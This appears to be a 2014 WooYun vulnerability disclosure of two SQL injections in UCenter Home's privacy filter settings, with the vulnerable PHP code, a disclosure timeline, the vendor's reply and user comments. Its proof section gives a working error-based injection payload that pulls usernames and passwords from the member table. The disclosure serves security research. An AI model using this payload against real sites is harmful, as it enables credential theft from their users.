当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(29) 关注此漏洞

缺陷编号: WooYun-2014-69672

漏洞标题: Ucenter Home最新版SQL注入二处

相关厂商: Discuz!

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-07-25 14:16

公开时间: 2014-10-23 14:18

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php源码审核 sql注射漏洞利用技巧 php源码分析 白盒测试

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-25: 细节已通知厂商并且等待厂商处理中
2014-07-25: 厂商已经确认,细节仅向厂商公开
2014-07-28: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-18: 细节向核心白帽子及相关领域专家公开
2014-09-28: 细节向普通白帽子公开
2014-10-08: 细节向实习白帽子公开
2014-10-23: 细节向公众公开

简要描述:

Ucenter Home最新版SQL注入二处

详细说明:

不知道这种情况算不算二次注入

先使payload进入数据库或者某一空间内,再次取出payload,然后进入SQL

这里第一步操作先使payload进入了一个数组中

然后第二步操作中会取出第一步中的payload,然后进入了SQL导致注入

整个过程跟二次注入一致,但是没有payload第一次没有进入SQL中

不知道这种算不算二次注入,暂且都叫sql注入吧

============================================================================

下面来看看这个漏洞。

在个人设置——隐私筛选——动态筛选

文件/source/cp_privacy.php

code 区域
elseif(submitcheck('privacy2submit')) {

//类型筛选
$space['privacy']['filter_icon'] = array();
foreach ($_POST['privacy']['filter_icon'] as $key => $value) {
$space['privacy']['filter_icon'][$key] = 1;
}
//用户组设置
$space['privacy']['filter_gid'] = array();
foreach ($_POST['privacy']['filter_gid'] as $key => $value) {
$space['privacy']['filter_gid'][$key] = intval($value);
}

//通知筛选
$space['privacy']['filter_note'] = array();
foreach ($_POST['privacy']['filter_note'] as $key => $value) {
$space['privacy']['filter_note'][$key] = 1;
}

privacy_update();

//更新好友缓存
friend_cache($_SGLOBAL['supe_uid']);

showmessage('do_success', 'cp.php?ac=privacy&op=view');
}



这里存在两处问题:

1、这里在更新类型筛选时

将我们key直接为过滤带入了$space['privacy']['filter_icon']中

2、这里在更新通知筛选时

将我们key直接为过滤带入了$space['privacy']['filter_note']中



然后再来看看回到动态筛选页面

这里会整理通知内容,以及获取应用名称:

文件/source/cp_privacy.php

code 区域
if($_GET['op'] == 'view') {
//好友组
$groups = getfriendgroup();

//屏蔽
$filter_icons = empty($space['privacy']['filter_icon'])?array():$space['privacy']['filter_icon'];
$filter_note = empty($space['privacy']['filter_note'])?array():$space['privacy']['filter_note'];
$iconnames = $appids = $icons = $uids = $users = array();
foreach ($filter_icons as $key => $value) {
list($icon, $uid) = explode('|', $key);
$icons[$key] = $icon;
$uids[$key] = $uid;
if(is_numeric($icon)) {
$appids[$key] = $icon;
}
}
//通知整理
foreach ($filter_note as $key => $value) {
list($type, $uid) = explode('|', $key);
$types[$key] = $type;
$uids[$key] = $uid;
if(is_numeric($type)) {
$appids[$key] = $type;
}
}
if($uids) {
$query = $_SGLOBAL['db']->query("SELECT uid, username FROM ".tname('space')." WHERE uid IN (".simplode($uids).")");
while ($value = $_SGLOBAL['db']->fetch_array($query)) {
$users[$value['uid']] = $value['username'];
}
}
//获取应用名称
if($appids) {
$query = $_SGLOBAL['db']->query("SELECT appid, appname FROM ".tname('myapp')." WHERE appid IN (".simplode($appids).")");
while ($value = $_SGLOBAL['db']->fetch_array($query)) {
$iconnames[$value['appid']] = $value['appname'];
}
}

$cat_actives = array('view' => ' class="active"');

}





在上述代码的开头可以看

code 区域
$filter_icons = empty($space['privacy']['filter_icon'])?array():$space['privacy']['filter_icon'];
$filter_note = empty($space['privacy']['filter_note'])?array():$space['privacy']['filter_note'];



这里的$space['privacy']['filter_icon']和$space['privacy']['filter_note']就是我们上面privacy2submit提交的内容

这里的key是直接传进来的

下面再整理通知和获取应用名称时,这里进入了uids和appids数组里面,然后再次进入了SQL语句,造成了SQL注入。



漏洞证明:

第一处SQL注入证明:

第一步:

首先我们更新通知筛选和类型筛选

这里进行通知筛选

在个人设置——隐私筛选——动态筛选:

333.png



提交一次,抓包,修改POST:

添加通知筛选:

privacy[filter_note][type|key]:

code 区域
privacy[filter_note][type|key',(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username, 0x23, password) from uchome_member limit 0,1))a from information_schema.tables group by a)b))#]



第二步:

再回到在个人设置——隐私筛选——动态筛选这里

此时会进行通知整理,然后出发我们的payload,看看结果:

444.png





第二处SQL注入证明:

同第一处操作一样,但是要注意的是,这里的类型筛选是privacy[filter_icon],而且此时这里的type必须是整数型。

看看提交的内容及结果:

555.png



修复方案:

再进入数据库时,判断处理,过滤,即可

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-25 16:28

厂商回复:

uchome已经停止更新维护,感谢您对我们产品的关注

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-25 14:17 | 浮萍 ( 普通白帽子 | Rank:1030 漏洞数:200 | 沉淀)
    0

    1没过

  2. 2014-08-27 10:56 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    和这哥们的第二个注射应该又是一样的? WooYun: Ucenter Home 2.0 SQL注入2枚(最新版) 不知道管理员怎么审核的?@疯狗

  3. 2014-10-23 16:31 | ToySweet ( 实习白帽子 | Rank:36 漏洞数:8 | 做有道德的安全研究员。)
    0

    @pandas 2333333333

  4. 2014-10-23 16:42 | yinian ( 实习白帽子 | Rank:71 漏洞数:24 | 一花一世界,一叶一菩提。)
    0

    6666666

登录后才能发表评论,请先 登录